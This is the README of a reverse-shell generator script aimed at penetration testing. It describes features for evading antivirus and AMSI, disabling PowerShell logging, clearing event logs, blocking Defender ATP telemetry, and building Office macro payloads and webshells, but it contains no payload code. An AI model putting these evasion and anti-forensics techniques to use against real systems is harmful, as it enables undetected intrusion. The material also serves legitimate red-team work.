surgatengit / shells

Script for generating revshells

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Shellz

A script for generating common revshells fast and easy.
Especially nice when in need of PowerShell and Python revshells, which can be a PITA getting correctly formatted.

PowerShell revshells

  • Shows username@computer.(domain), above the prompt and working-directory
  • Has a partial AMSI-bypass making some stuff a bit easier, like loading a full AMSI bypass.
  • TCP, UDP and SSL shells
  • New custom TCP revshell!
  • New custom SSL revshell!
  • Reflective loading theart42's amazing Sharpcat!
  • Windows Powershell and Core Powershell
  • Functions for uploading and downloading files. (Using Updog by sc0tfree)

ngrok support

  • ngrok can be started/stopped from inside the script
  • payloads will be genereated with the ngrok addresses

Updog support

  • you can start/stop Updog from inside the script
  • The PowerShell revshells have upload/download function embedded
  • To upload from nix using curl: curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload

To install Shells from git

git clone https://github.com/4ndr34z/shells
cd shells
./install.sh

To install shells on BlackArch:

pacman -S shellz

Screenshots

Main Netcat pwsh screenshot3 screenshot4 screenshot5 screenshot6

Required dependencies

netcat, rlwrap, jq, basenc (coreutils)

Optional dependencies

updog, ngrok, xclip

Youtube video

Link

Version 1.6.4

  • Fixed Powershell SSL-shell

Version 1.6.3

  • Added variable expansion on the powershell payload, making it run from e.g. batch-files without modifying it

Version 1.6.2

  • Renaming to Shellz

Version 1.6.1

  • Listener started in new window. (Optional on Linux)

Version 1.6

  • Powershell: Added option for reflective loading Sharpcat

Version 1.5.9

  • PowerShell: New custom SSL shell
  • PowerShell: Added options for choosing TCP/UDP/SSL
  • PowerShell/OpenSSL: Defaulting to correct listener when using SSL

Version 1.5.8

  • Updated installer to use wrapper-script (remember to delete /usr/local/bin/shells when upgrading from < 1.5.8)

Version 1.5.7

  • PowerShell: Buildt a unique TCP revshell, that is not using Net.Sockets.TCPClient
  • PowerShell: Remote errormessages now being properly displayed

Version 1.5.6

  • PHP: added options and more payloads

Version 1.5.5

  • Added option on other payloads for changing shell

Version 1.5.4

  • Powershell: Fixed the NIX payload
  • Powershell: Updated the payload for reflective loading C#

Version 1.5.3

  • Powershell: Added options for payload in menu.

Version 1.5.2

  • PowerShell: Changed revshell for bypassing more AV vendors
  • Powershell: Added firewall-rule, preventing MS ATP from phoning home (if the running user has access)
  • Powershell: Updated VBA (MS Office Macros)

Version 1.5.1

  • PowerShell: Disabling scriptblock logging and CheckSuspiciousContent
  • PowerShell: Clears PowerShell eventlogs (if the running user has access)

Version 1.5.0

  • PowerShell: Added VBA payloads for MS Office Macros
  • Added some node.js payloads

Version 1.4.9

  • Added a simple C# shell.
  • Added payload for reflective loading the C# shell into memory. (Needs full AMSI bypass)
  • Covering this by adding Rastamouse's full AMSI Bypass
  • PowerShell: You can automatically upload and run full AMSI bypass. The partitial AMSI bypass makes this possible.
  • C# Shell: Automatically upload and run full AMSI bypass before loading it into memory
  • Updog and ngrok status showing in every menu

Version 1.4.8

  • Sometimes less is more. Removed the obfuscating on TCP/UDP PowerShell revshells, because it actually triggers AV more than it bypasses and the payload got really big :-) Still using randomization.

Version 1.4.6

  • Added webshells (ASPX, PHP, JSP)

Version 1.4.5

  • Added 2 c++ revshell binaries for Windows 32 and 64 bit.

Version 1.4.4

  • Fixed the handling of starting/stopping Updog

Version 1.4.3

  • Added Updog support
  • Added Netcat binaries.
  • Powershell: Created upload/download functionality (upload requires Updog for receiving files)
  • Added more information about running ngrok and Updog.

Version 1.4.2

  • PowerShell: Added a new "mini AMSI-bypass". (It is a partial bypass) Based on Matt Graebers Reflection method
  • PowerShell: Added a "upload" function in the Powershell reverseshell

Version 1.4.1

  • Removed AMSI. Not tested enough :-)

Version 1.4

  • Added AMSI-bypass for the powershell payloads

Version 1.3.9

  • Fixed bug when setting port
  • Changed default port to 443
  • PowerShell: obfuscated some more

Version 1.3.8

  • PowerShell: Minor changes to the UDP payload

Version 1.3.7

  • Using only native nc on macOS, because the one on homebrew doesn't work on incoming UDP
  • PowerShell: Added UDP payloads

Version 1.3.6

  • PowerShell: Added more payloads

Version 1.3.5

  • PowerShell: Added some randomization and obfuscation for the payload

Version 1.3.4

  • PowerShell: Using UTF8 encoding in payload

Version 1.3.3

  • Added Golang

Version 1.3.2

  • Added OpenSSL

Version 1.3.1

  • Fixed bug in Python revshell
  • Added awk
  • Added Bash UDP

Version 1.3

  • Added Windows Python revshells

Version 1.2.9

  • Added a ngrok running-status

Version 1.2.8

  • Hiding ngrok choice if not installed

Version 1.2.7

  • Fixed the install options: not doing default option when pressing enter without making a choice

Version 1.2.6

  • Added support for ngrok.

Version 1.2.4

  • Added a install-script
  • Added install options for checking and installing missing dependencies

Version 1.2.3

  • Added a couple of PHP shells

Version 1.2.2

  • Added shells for: Ruby, Perl, Telnet and zsh

Version 1.2.1

  • Added copy to clipboard using pbcopy on macOS
  • Added info about listening netcat as the macOS versions doesn't display that

Version 1.2

  • Added looping netcat shells. Calls back every 10 seconds. Great in case you loose your shell
  • Added check for netcat GNU netcat 0.7.0 Homebrew when running on macOS

Version 1.1

  • Added support for macOS

About

Script for generating revshells

License:MIT License


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Language:Shell 100.0%